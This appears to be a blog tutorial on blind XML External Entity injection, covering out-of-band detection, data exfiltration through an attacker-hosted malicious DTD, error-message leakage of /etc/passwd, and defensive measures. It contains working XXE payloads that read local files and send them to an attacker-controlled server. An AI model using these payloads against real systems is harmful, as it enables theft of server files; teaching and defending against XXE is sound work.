What is Blind XXE: XML External Entity Explained
In this tutorial, we will explain what is blind XXE Injection, how it works, and the various techniques that you can use to find and exploiting blind XXE vulnerabilities.
NOTE: Before we get started with this tutorial, it is good to keep in mind that the code samples provided in this post are for demonstration purposes. They do not represent an actual vulnerable application. To experiment with blind XXE, you can check virtual labs.
What is Blind XXE?
Blind XXE (XML External Entity) is a vulnerability that occurs when an application parses XML input from untrusted sources in a way that allows an attacker to retrieve sensitive information or execute arbitrary code on the server.
In a bling XXE, the attacker the application does not return the values of any defined external entities within the response. This makes blind XXEs to exploit compared to regular XXE vulnerabilities. However, with practice, skill, and intuition, you can infer the results by observing the application behavior, allowing you to understand how to exploit them.
How a Blind XXE Works - Simple Version
To better understand how a blind XXE works, let us break down the process of a Blind XXE in simple steps. Keep in mind that this is a heavy oversimplification of the overall functionality.
- XML Parsing - The first part is the the application allows you to provide XML Input. The XML input is then parsed by the defined XML parser.
- External Entity Declaration - You as the attacker then crafts a malicious XML payload that includes an external entity declaration.An external entity is an XML construct that references an external resource (e.g., file, URL) and can be used to read data from it.
The following example demonstrates a basic illustration of an XML payload that includes an external entity declaration (demo use only)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
In this example, we declare the external entity xxe
with it’s value set to read the contents of the /etc/passwd
file.
Parsing and Expansion
Once the application receives this malicious payload, it will reach the &xxe
entity reference. This forces the parser to expand it by retrieving the contents of the external entity, in this case, the /etc/passwd
file. If the application is then vulnerable to the blind XXE, it won’t return the contents of the file directly.
Application Behavior
Since you are dealing with a blind XXE, you need to pay attention to the application behavior when you run a blind XXE test.
It is your duty to observe what is “weird” or unusual when you execute the payload. For example, you can view the server response time by leveraging out-of-band techniques.
Detecting blind XXE using out-of-band techniques
The most common way of testing a blind XXE is very similar to the way you would test an XXE SSRF but triggering an out-of-band network interaction to a server that you control
Take for example, you as the attacker can modify the XML payload to include an HTTP request instead of file contents. Since you control the HTTP server, you can monitor it for DNS lookups or an HTTP request to the specified endpoint.
Example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.0.100:8000/xxe-request">
]>
<root>&xxe;</root>
In this case, we craft an XML payload the makes a request to the specified URL. If the application is vulnerable to the blind XXE, it will force the server to make a back-end HTTP request to the specified URL.
However, you may encounter a scenario where using regular entities is either blocked or sanitized from the input. This can be a result of the XML parser input validation or just security hardening.
In such a case, you can opt to use XML parameter entities. An XML parameter entity refers to a special kind of XML entity that can only be referenced within the DTD.
Declaring an XML Parameter Entity
We can declare an XML parameter entity by including the percent character before the entity name.
<!ENTITY % xxe "The parameter entity value">
Referencing an XML Parameter Entity
Once defined, you can reference an XML parameter entity by using the percent character as shown:
%xxe
Testing Blind XXE with XML Parameter Entity
To test a blind XXE using the XML parameter entity, you can craft a DTD payload as shown:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.0.100:8000"> %xxe; ]>
In this case, the XXE payload declares an XML parameter entity called xx
and then uses the entity within the DTD. This will force the application to make a DNS lookup and a HTTP request to the provided URL, verifying that the application is vulnerable.
Exploiting Blind XXE - Out-Of-Band
Okay, you have detected a blind XXE using the out-of-band techniques but how exactly do you exploit this vulnerability?
The main goal of you as the attacker is to simply steal sensitive data from the application. We can achieve this by using the blind XXE and a malicious DTD on your server.
You as the attacker can host a malicious DTD on a system that you control and then invoke the external DTD from within the in-band XXE payload.
Consider the following payload.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.0.100:8000/?x=%file;'>">
%eval;
%exfiltrate;
In the payload above, we start by defining an XML parameter entity called file
containing the value and contents of the /etc/passwd
file.
We also define another XML parameter entity called eval
which contains a dynamic declaration of another XML parameter entity called exfiltrate
. This exfiltrate
entity is evaluated by the application making a request to the attacker’s webserver which contains the value of the file
entity within the URL query string.
On the malicious server, you can serve the malicious DTD using an URL as:
http://192.168.0.100:8000/evil.dtd
Finally, you can submit the XXE payload in the DTD as:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://192.168.0.100:8000/evil.dtd"> %xxe;]>
In this case, we define an XML parameter entity called xxe
. We then use the entity within the DTD causing the XML parser to fetch the external DTD from the malicious server and interpret it inline.
Once the payload in the malicious DTD is executed, it will send the file to the malicious server where you can view it.
It is good to keep in mind that the method outlined above can fail when including some files with newline characters. This is because some XML parsers fetch the URL in the external entity by using an API that validates the characters that are allowed to appear in the URL.
In such a scenario, you can target other protocols such as FTP
Exploiting Blind XXE - Error Messages
The second technique you can use to exploit blind XXE is triggering an XML parsing error where the error message will include the sensitive data you are targeting. This is highly effective is the application is configured to return the error message within the response.
You can trigger an XML parsing message containing the contents of a file as demonstrated in the following malicious DTD.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
The above payload performs the following steps:
- We define an XML parameter entity called
file
containing the contents of the/etc/passwd
file. - Next, we define another XML parameter entity called
eval
which holds the dynamic declaration of another XML parameter callederrro
Theerror
entity is evaluated by loading an nonexisting file on the local filesystem which contains the value of thefile
entity. - Once the
error
entity is evaluated by attempting to load an non existing file, the parser will return an error message containing the name of the non existing file, which is basically the contents of the/etc/passwd
file.
An example output is as shown:
java.io.FileNotFoundExceptionn: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
debian:x:1000:1000:,,,:/home/debian:/bin/bash
How to Protect Against Blind XXEs?
The following are some steps you can take to protect your applications against blind XXEs.
- Input Validation - Ensure that all XML input is properly validated before parsing. Reject any XML input that doesn’t adhere to the expected structure or contains suspicious or disallowed entities.
- Disable External Entities - Configure the XML parser to disable the processing of external entities or limit their usage to trusted sources only.
- Use Whitelisting - Specify a whitelist of allowed XML elements and attributes that the parser can process. Reject any input that contains unrecognized elements or attributes.
- Secure Configuration - Ensure that the server and application are securely configured, with minimal privileges and restricted access to sensitive resources.
- Regular Updates - Keep the XML parser and its dependencies up to date to benefit from security patches and bug fixes.
Conclusion
In this tutorial, we walked you through the process of detecting, testing, and exploiting blind XXEs in a vulnerable application. We hope you enjoyed this tutorial, if you did share it and leave us feedback down below.
If you wish to learn more about XML, Document Type Definitions (DTD), regular XXEs, and more, leave us a comment down below or Request a topic. We promise to release an article for you in the shortest time possible.